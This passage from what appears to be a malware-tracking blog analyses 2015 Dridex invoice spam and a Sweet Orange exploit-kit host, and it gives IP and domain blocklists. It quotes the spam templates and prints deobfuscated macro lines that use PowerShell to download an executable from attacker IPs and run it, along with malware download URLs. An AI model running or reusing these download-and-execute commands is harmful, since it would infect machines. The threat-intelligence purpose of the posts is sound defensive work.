108.61.165.19 (Choopa LLC, Netherlands)
5.196.241.196 (OVH, Ireland)
66.110.179.66 (Microtech Tel, US)
202.44.54.5 (World Internetwork Corporation, Thailand)
95.163.121.179 (Digital Networks aka DINETHOSTING, Russia)
59.97.137.171 (Broadband Multiplay, India)
78.140.164.160 (Webazilla, US)
107.181.174.104 (Colo at 55, US / UA Servers, Ukraine)
I outlined some of the problems with MVTW in this post. The Malwr report shows that among other activities, this drops an executable that seems to be another version of itself [VT 3/57] and a malicious DLL which is probably a Dridex component [VT 4/57].

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
86.104.134.156
217.12.203.34
108.61.165.19
5.196.241.196
66.110.179.66
202.44.54.5
95.163.121.179
59.97.137.171
78.140.164.160
107.181.174.104

UPDATE:  a different version of the attachment [VT] uses this macro to download from:

http://jacekhondel.w.interia.pl/js/bin.exe

The payload is identical to the other variant.

Monday, 16 February 2015

Malware spam: "T.A.G. (The Automotive Group) Ltd." / "Lawrence Fisher [l.fisher@taghire.co.uk]" / invoice

This fake invoice does not come from The Automotive Group Ltd or any similarly-named company. Their systems have not been compromised in any way. Instead, this is a forgery with a malicous attachment. Note that the taghire.co.uk simply shows "Under Construction".
From:    Lawrence Fisher [l.fisher@taghire.co.uk]
Date:    16 February 2015 at 08:25
Subject:    invoice

Here is the invoice

Kind Regards,

Lawrence Fisher
T.A.G. (The Automotive Group) Ltd.
Unit 22 Coney Green Business Centre Wingfield View, Clay Cross, Chesterfield

Tel: 020 3750 0638

Description: 150px Crop Background Remove Logo

This e-mail is confidential and may be privileged.  It may be read, copied and used only by the intended recipient. If you have received it in error, please contact the sender immediately by return e-mail or by telephoning 020 3750 0638
So far I have only seen one sample of this, with an attachment named Invoice 0215.doc which has zero detections according to VirusTotal. It contains an obfuscated Word macro which downloads an additional component from:

http://laikah.de/js/bin.exe

Usually there are two or three versions of this document, but I have only seen one. If  you look at the macro code itself, the download location is not encrypted in the code although other elements of the process are encrypted with a string + key combination. Those combinations contain non-printable characters, possibly in an attempt to avoid anaylsus,

This .exe file is downloaded as %TEMP%\345435.exe and it has a VirusTotal detection rate of 3/57.  Automated reporting tools [1] [2] [3] show that this POSTS to 37.139.47.105. It appears that communication is attempted with the following IPs:

37.139.47.105 (Pirix, Russia)
78.140.164.160 (Webazilla, US)
95.163.121.179 (Digital Networks, Russia)
86.104.134.156 (One Telecom, Moldova)
117.223.58.214 (BSNL / Broadband Multiplay, India)
109.234.38.70 (McHost, Russia)


Also, according to the Malwr report, a DLL is dropped with a detection rate of 3/57.

Recommended blocklist:
37.139.47.105
78.140.164.160
95.163.121.179
86.104.134.156
117.223.58.214
109.234.38.70

Friday, 13 February 2015

Something evil on 95.163.121.0/24 (Digital Network JSC / com4tel.ru / cloudavt.com)

I've written about DINETHOSTING aka Digital Network JSC many times before, and frankly their entire IP range is a sea of crap, and I have a whole load of blocks in the 95.163.64.0/18 range (including the entirity of 95.163.64.0/10). This latest sea of badness seems to be suballocated to a customer using the 95.163.121.0/24 block.

inetnum:        95.163.121.0 - 95.163.121.255
netname:        RU-CLOUDAVT-NET
descr:          LLC ABT Cloud Network
country:        RU
admin-c:        PPP9992-RIPE
tech-c:         PPP9992-RIPE
status:         ASSIGNED PA
mnt-by:         DN-MNT
changed:        ncc@msm.ru 20150213
source:         RIPE

person:         Andrey Tkachenko
address:        107589, Russia Moscow street Khabarovsk 4A
e-mail:         cc-it@com4tel.ru
phone:          +7 916 626 7798
fax-no:         +7 916 626 7798
nic-hdl:        PPP9992-RIPE
abuse-mailbox:  info@cloudavt.com
mnt-by:         DN-MNT
changed:        noc@msm.ru 20140429
source:         RIPE

route:          95.163.64.0/18
descr:          Digital Network JSC
descr:          Moscow, Russia
descr:          http://www.msm.ru
descr:          aggregate prefix
origin:         AS12695
mnt-by:         DN-MNT
changed:        noc@msm.ru 20121129
source:         RIPE
Tools


Just looking at blog posts, I can see badness occurring in the recent past on the following IPs:
95.163.121.71 [1]
95.163.121.72 [2]
95.163.121.188 [3]
95.163.121.216 [4]
95.163.121.217 [5]

That's quite a high concentration of bad servers in a relatively small block. A quick look at what is currently hosted indicates (in my personal opinion) nothing of value, and I would recommend blocking the entire 95.163.121.0/24 range as a precaution.

Wednesday, 11 February 2015

Malware spam: "Your latest e-invoice from.."

This fake invoice spam has a malicious attachment:

From:    Lydia Oneal
Date:    11 February 2015 at 09:14
Subject:    Your latest e-invoice from HSBC HLDGS

Dear Valued Customer,


Please find attached your latest invoice that has been posted to your online account. You’ll be pleased to know that your normal payment terms still apply as detailed on your invoice.

Rest assured, we operate a secure system, so we can confirm that the invoice DOC originates from HSBC HLDGS and is authenticated with a digital signature.

Thank you for using e-invoicing with HSBC HLDGS - the smarter, faster, greener way of processing invoices.

This message and any attachment are confidential and may be privileged or otherwise protected from disclosure.
If you are not the intended recipient, please telephone or email the sender and delete this message and any attachment from your system.
If you are not the intended recipient you must not copy this message or attachment or disclose the contents to any other person.
The company name and the name of the sender varies, but most of the body text remains identical. Some sample subjects are:

Your latest e-invoice from HSBC HLDGS
Your latest e-invoice from MAVEN INCOME & GROWTH VCT 3 PLC
Your latest e-invoice from DDD GROUP PLC
Your latest e-invoice from BAILLIE GIFFORD SHIN NIPPON
Your latest e-invoice from ACAL
Your latest e-invoice from PARAGON DIAMONDS LTD
Your latest e-invoice from TULLETT PREBON PLC

Your latest e-invoice from MERSEY DOCKS & HARBOUR CO
Your latest e-invoice from HOLDERS TECHNOLOGY
Your latest e-invoice from LED INTL HLDGS LTD 

Your latest e-invoice from HALOS
Your latest e-invoice from ACORN INCOME FUND

Your latest e-invoice from BLACKROCK WORLD MINING TRUST PLC
Your latest e-invoice from NATURE GROUP PLC
Your latest e-invoice from OPTOS
Your latest e-invoice from MENZIES(JOHN)
Your latest e-invoice from ATLANTIC COAL PLC


The word document is randomly-named, for example 256IFV.doc, 19093WZ.doc and 097DVN.doc. There are three different versions of this malicious document, all with low detection rates [1] [2] [3] containing a slightly different macro in each case [1] [2] [3]. If we deobfuscate the macro, we see some code like this:
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://136.243.237.222:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://185.48.56.62:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://95.163.121.216:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';
The macro is calling Powershell to download and execute code from these locations:

http://136.243.237.222:8080/hhacz45a/mnnmz.php (Hetzer, Germany)
http://185.48.56.62:8080/hhacz45a/mnnmz.php (Sinarohost, Netherlands)
http://95.163.121.216:8080/hhacz45a/mnnmz.php (Digital Networks aka DINETHOSTING, Russia)

The code is downloaded as zzcasr.exe and is then saved as %TEMP%\pJIOfdfs.exe. This binary is of course malicious, with a detection rate of 5/57.

Automated analysis tools [1] [2] [3] [4] [5] show that it attempts to contact the following IPs:

85.143.166.72 (Pirix, Russia)
92.63.88.97 (MWTV, Latvia)
205.185.119.159 (FranTech Solutions, US)
78.129.153.18 (IOmart, UK)
5.14.26.146 (RCS & RDS Residential, Romania)

The malware probably drops a Dridex DLL, although I have not been able to obtain this.

Recommended blocklist:
85.143.166.72
92.63.88.97
205.185.119.159

78.129.153.18
5.14.26.146
136.243.237.222
185.48.56.62
95.163.121.216

(Note, for researchers only a copy of the files can be found here, password=infected)

Thursday, 15 January 2015

Malware spam: Payment request of 4176.94 (14 JAN 2015)

This spam comes with a malicious Word document attached:

from:    Alan Case
date:    15 January 2015 at 08:49
subject:    Payment request of 4176.94 (14 JAN 2015)

Dear Sirs,

Sub: Remitance of GBP 4176.94

This is with reference to the above, we request you to kindly remit GBP 4176.94 in favor of our bank account.
For more information on our bank details please refer to the attached document.

Thanking you,
Alan Case Remittance Manager
Other names and job titles seen include:
Alan Case
Melisa Howell
Brooke Barr
Nanette Lloyd
Holly Hartman
Doreen Mclean
Lonnie Boyer
Jessica Richardson
Celeste Singleton
Katie Hahn
Marilyn Barnett
Lois Powell
Donald Yang
Christina Grimes
Keenan Graham
Muriel Prince
Chance Salazar
Francine Nixon

Accounting Team
Senior Accounts
Senior Accounts Payable
Senior Accountant
General Manager
Remittance Manager

The payment amount, name and job title change in each spam, as does the name of the attachment (although this following the format ADV0000XX). There are three malicious Word documents that I have seen, each with a low detection rate at VirusTotal [1] [2] [3] which in turn contain a slightly different macro [1] [2] [3] which attempt to download another component from one of the following locations:

http://95.163.121.71:8080/mopsi/popsi.php
http://95.163.121.72:8080/mopsi/popsi.php

http://136.243.237.204:8080/mopsi/popsi.php

Note the two adjacent IPs of 95.163.121.71 and 95.163.121.72 which belong to Digital Networks CJSC in Russia (aka DINETHOSTING), an IP range of 95.163.64.0/18 that I would recommend you consider blocking.  136.243.237.204 is a Hetzner IP.

The macro downloads a file g08.exe from these locations which is then saved as %TEMP%\UGvdfg.exe. This has a VirusTotal detection rate of 4/57. That VT report also shows the malware attempting to POST to 194.146.136.1:8080 (PE "Filipets Igor Victorovych", Ukraine) which is a well-known bad IP.

The Malwr report is inconclusive, but this exectuable probably drops a Dridex DLL.

Recommended blocklist:
194.146.136.1
95.163.121.71
95.163.121.72
136.243.237.204

UPDATE: the following are Dridex C&C servers which you should also block:
80.237.255.196
85.25.20.107

Tuesday, 2 September 2014

Something evil on 95.163.121.188 (Sweet Orange EK)

95.163.121.188 is currently hosting the Sweet Orange Exploit Kit (hat tip). The IP is allocated to Digital Networks CJSC (aka DINETHOSTING) that has featured on this blog many times before.

Currently I can see the following domains active on this IP address. Ones highlighted are flagged as malicious by Google.

cdn2.sefu.co
cdn3.sefu.co
cdn4.sefu.co
cdn5.sefu.co
cdn.seefu.co
cdn2.seefu.co
cdn3.seefu.co
cdn.seefoo.co
cdn2.seefoo.co
cdn3.seefoo.co
cdn.critico.co
cdn.easynet.co
cdn.networkguys.co
cdn.tequilacritico.es
cdn2.tequilacritico.es
cdn3.tequilacritico.es
cdn4.tequilacritico.es
cdn5.tequilacritico.es
cdn.critico.com.mx
cdn.critico.mx
cdn.thecritico.mx
cdn2.thecritico.mx
cdn4.thecritico.mx
cdn5.thecritico.mx
cdn.tequilacritico.mx
cdn2.tequilacritico.mx
cdn3.tequilacritico.mx
cdn4.tequilacritico.mx
cdn5.tequilacritico.mx
cdn.sweetip.uk.com
cdn2.sweetip.uk.com
cdn3.sweetip.uk.com
cdn4.sweetip.uk.com
cdn5.sweetip.uk.com
cdn.sweetip.com
cdn2.sweetip.com
cdn3.sweetip.com
cdn4.sweetip.com
cdn5.sweetip.com
cdn.brazitel.com
cdn.thecritico.com
cdn2.thecritico.com
cdn3.thecritico.com
cdn4.thecritico.com
cdn5.thecritico.com
google.chagwichita.com
cdn.tequilatimes.com
cdn2.tequilatimes.com
cdn3.tequilatimes.com
cdn4.tequilatimes.com
cdn5.tequilatimes.com
google.ajdistributor.com
cdn.netguysglobal.com
cdn.tequilacritics.com
cdn2.tequilacritics.com
cdn3.tequilacritics.com
cdn4.tequilacritics.com
cdn5.tequilacritics.com
cdn.mcelectricalinc.com
cdn.tequilaspectator.com
cdn2.tequilaspectator.com
cdn3.tequilaspectator.com
cdn4.tequilaspectator.com
cdn5.tequilaspectator.com
cdn.primrosebrentwood.com
cdn.tequilaguildofamerica.com
cdn2.tequilaguildofamerica.com
cdn3.tequilaguildofamerica.com
cdn4.tequilaguildofamerica.com
cdn5.tequilaguildofamerica.com
cdn.primrosenashvillemidtown.com
cdn.seefu.net
cdn2.seefu.net
cdn3.seefu.net
cdn4.seefu.net
cdn5.seefu.net
cdn.seefoo.net
cdn2.seefoo.net
cdn3.seefoo.net
cdn.sweetip.net
cdn2.sweetip.net
cdn3.sweetip.net
cdn4.sweetip.net
cdn5.sweetip.net
cdn.networkguys.net
cdn2.networkguys.net
cdn3.networkguys.net
cdn.tequilacritico.net
cdn2.tequilacritico.net
cdn3.tequilacritico.net
cdn4.tequilacritico.net
cdn5.tequilacritico.net
cdn.gandco.pro
cdn.primrosebrentwood.xyz
cdn.tequilatimes.info
cdn2.tequilatimes.info
cdn3.tequilatimes.info
cdn4.tequilatimes.info
cdn5.tequilatimes.info
cdn.georgicasweets.info
cdn.sefu.mobi
cdn2.sefu.mobi
cdn3.sefu.mobi
cdn4.sefu.mobi
cdn5.sefu.mobi
cdn.seefu.mobi
cdn2.seefu.mobi
cdn3.seefu.mobi
cdn4.seefu.mobi
cdn5.seefu.mobi
cdn.seefoo.mobi
cdn2.seefoo.mobi
cdn3.seefoo.mobi

cdn.georgika.co
cdn.georgicasuites.com
cdn.georgicasweets.com
google.vctelectronics.com
cdn.limodog.net
cdn2.limodog.net
cdn3.limodog.net
cdn4.limodog.net
cdn5.limodog.net
cdn.soundpet.net
cdn2.soundpet.net
cdn3.soundpet.net
cdn4.soundpet.net
cdn5.soundpet.net
cdn.georgicas.net
cdn.georgicasweets.net
cdn.georgicasweets.org
cdn.limodog.xyz
cdn2.limodog.xyz
cdn3.limodog.xyz
cdn4.limodog.xyz
cdn5.limodog.xyz
cdn.georgicas.mobi
cdn.georgicasweets.mobi
cdn.georgika.net

The domains appear to be legitimates ones that have been hijacked in some way.

95.163.121.188 forms part of a large netblock of 95.163.64.0/18 - I have had half of this (95.163.64.0/19) blocked for several years which has stopped a great deal of badness, so I recommend that you block either the /19 or /18 and/or the following domains:

sweetip.uk.com
critico.com.mx
critico.co
easynet.co
georgika.co
networkguys.co
seefoo.co
seefu.co
sefu.co
ajdistributor.com
brazitel.com
chagwichita.com
georgicasuites.com
georgicasweets.com
mcelectricalinc.com
netguysglobal.com
primrosebrentwood.com
primrosenashvillemidtown.com
sweetip.com
tequilacritics.com
tequilaguildofamerica.com
tequilaspectator.com
tequilatimes.com
thecritico.com
vctelectronics.com
tequilacritico.es
georgicasweets.info
tequilatimes.info
georgicas.mobi
georgicasweets.mobi
seefoo.mobi
seefu.mobi
sefu.mobi
critico.mx
tequilacritico.mx
thecritico.mx
georgicas.net
georgicasweets.net
georgika.net
limodog.net
networkguys.net
seefoo.net
seefu.net
soundpet.net
sweetip.net
tequilacritico.net
georgicasweets.org
gandco.pro
limodog.xyz
primrosebrentwood.xyz